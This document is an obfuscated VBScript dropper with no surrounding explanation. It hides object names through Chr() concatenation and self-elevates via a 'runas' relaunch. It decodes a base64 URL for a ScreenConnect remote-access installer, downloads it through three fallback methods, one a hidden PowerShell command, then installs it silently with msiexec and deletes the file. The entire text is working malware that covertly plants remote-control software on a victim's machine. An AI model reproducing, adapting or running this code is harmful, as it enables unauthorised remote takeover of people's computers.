Function Dec_7e4441(s)
Dim dx_47eab2,nd_addeb6,st_b4c925
Set dx_47eab2=CreateObject("MS"&Chr(88)&"ML2"&Chr(46)&"D"&Chr(79)&"MDocument.3."&Chr(48))
Set nd_addeb6=dx_47eab2.createElement("e")
nd_addeb6.dataType="bin.base64"
nd_addeb6.text=s
Set st_b4c925=CreateObject("ADO"&Chr(68)&"B"&Chr(46)&"S"&Chr(116)&"rea"&Chr(109))
st_b4c925.Type=1:st_b4c925.Open:st_b4c925.Write nd_addeb6.nodeTypedValue:st_b4c925.Position=0
st_b4c925.Type=2:st_b4c925.Charset="utf-8"
Dec_7e4441=st_b4c925.ReadText
st_b4c925.Close
End Function
Set app_8aec43   = CreateObject("Shell.A"&Chr(112)&"p"&Chr(108)&"ica"&Chr(116)&"i"&Chr(111)&"n")
Set wsh_170cc3 = CreateObject("W"&Chr(83)&"c"&Chr(114)&"ipt.S"&Chr(104)&"e"&Chr(108)&"l")
Set fso_333bf3   = CreateObject("Sc"&Chr(114)&"ipt"&Chr(105)&"ng"&Chr(46)&"F"&Chr(105)&"l"&Chr(101)&"System"&Chr(79)&"b"&Chr(106)&"ect")
If Not WScript.Arguments.Named.Exists("Elevated") Then
    Dim bAdm : bAdm = False
    On Error Resume Next
    CreateObject("W"&Chr(83)&"cr"&Chr(105)&"pt.Sh"&Chr(101)&"ll").RegRead "HKEY"&Chr(95)&"USE"&Chr(82)&"S\"&Chr(83)&"-"&Chr(49)&"-5-19"&Chr(92)
    bAdm = (Err.Number = 0)
    Err.Clear : On Error GoTo 0
    If Not bAdm Then
        app_8aec43.ShellExecute "w"&Chr(115)&"crip"&Chr(116)&".exe", Chr(34) & WScript.ScriptFullName & Chr(34) & " /Elevated", "", "r"&Chr(117)&"n"&Chr(97)&"s", 0
        WScript.Quit
    End If
End If
On Error Resume Next
Dim url_b2985d, msi_18d07a, ok_428d90
Dim enc_45b2de : enc_45b2de = "aHR0cHM6Ly9lc3RlZW1jb25zdHJ1Y3Rpb25zLnNjcmVlbmNvbm5lY3QuY29tL0Jpbi9TY3JlZW5Db25uZWN0LkNsaWVudFNldHVwLm1zaT9lPUFjY2VzcyZ5PUd1ZXN0"
url_b2985d = Dec_7e4441(enc_45b2de)
msi_18d07a = wsh_170cc3.ExpandEnvironmentStrings("%TEMP%") & "\inst_" & Hex(CLng(Timer * 1000) Mod 99999) & ".msi"
ok_428d90  = False
Function Fetch_a2ab48(url, dest)
    Fetch_a2ab48 = False
    On Error Resume Next
    Err.Clear
    Dim h : Set h = CreateObject("Win"&Chr(72)&"t"&Chr(116)&"p."&Chr(87)&"in"&Chr(72)&"ttp"&Chr(82)&"equ"&Chr(101)&"st"&Chr(46)&"5"&Chr(46)&"1")
    h.Open "G"&Chr(69)&"T", url, False
    h.SetRequestHeader "Use"&Chr(114)&"-A"&Chr(103)&"e"&Chr(110)&"t", "M"&Chr(111)&"z"&Chr(105)&"lla"&Chr(47)&"4."&Chr(48)&" (c"&Chr(111)&"mpat"&Chr(105)&"ble; M"&Chr(83)&"IE "&Chr(55)&".0; Windo"&Chr(119)&"s NT"&Chr(32)&"6.0)"
    h.setOption 4, 13056
    h.Send
    If Err.Number = 0 Then
        If h.Status = 200 Then
            Dim s : Set s = CreateObject("A"&Chr(68)&"OD"&Chr(66)&".S"&Chr(116)&"rea"&Chr(109))
            s.Type = 1 : s.Open : s.Write h.ResponseBody : s.SaveToFile dest, 2 : s.Close
            If fso_333bf3.FileExists(dest) Then
                If fso_333bf3.GetFile(dest).Size > 0 Then Fetch_a2ab48 = True : Exit Function
            End If
        End If
    End If
    Err.Clear
    Dim x : Set x = CreateObject("Msxml2.Se"&Chr(114)&"ve"&Chr(114)&"XM"&Chr(76)&"H"&Chr(84)&"T"&Chr(80)&"."&Chr(54)&".0")
    x.open "G"&Chr(69)&"T", url, False
    x.setOption 2, 13056
    x.setRequestHeader "A"&Chr(99)&"cep"&Chr(116), "*/*"
    x.send
    If Err.Number = 0 Then
        If x.status = 200 Then
            Dim s2 : Set s2 = CreateObject("AD"&Chr(79)&"DB.S"&Chr(116)&"re"&Chr(97)&"m")
            s2.Type = 1 : s2.Open : s2.Write x.responseBody : s2.SaveToFile dest, 2 : s2.Close
            If fso_333bf3.FileExists(dest) Then
                If fso_333bf3.GetFile(dest).Size > 0 Then Fetch_a2ab48 = True : Exit Function
            End If
        End If
    End If
    Err.Clear
    wsh_170cc3.Run "powershell -WindowStyle Hidden -NoProfile -Command ""(New-Object Net.WebClient).DownloadFile('" & url & "','" & dest & "')""", 0, True
    If Err.Number = 0 Then
        If fso_333bf3.FileExists(dest) Then
            If fso_333bf3.GetFile(dest).Size > 0 Then Fetch_a2ab48 = True
        End If
    End If
    Err.Clear
End Function
ok_428d90 = Fetch_a2ab48(url_b2985d, msi_18d07a)
If ok_428d90 Then
    wsh_170cc3.Run "msiexec.exe /i """ & msi_18d07a & """ /qn /norestart", 0, True
End If
If fso_333bf3.FileExists(msi_18d07a) Then fso_333bf3.DeleteFile msi_18d07a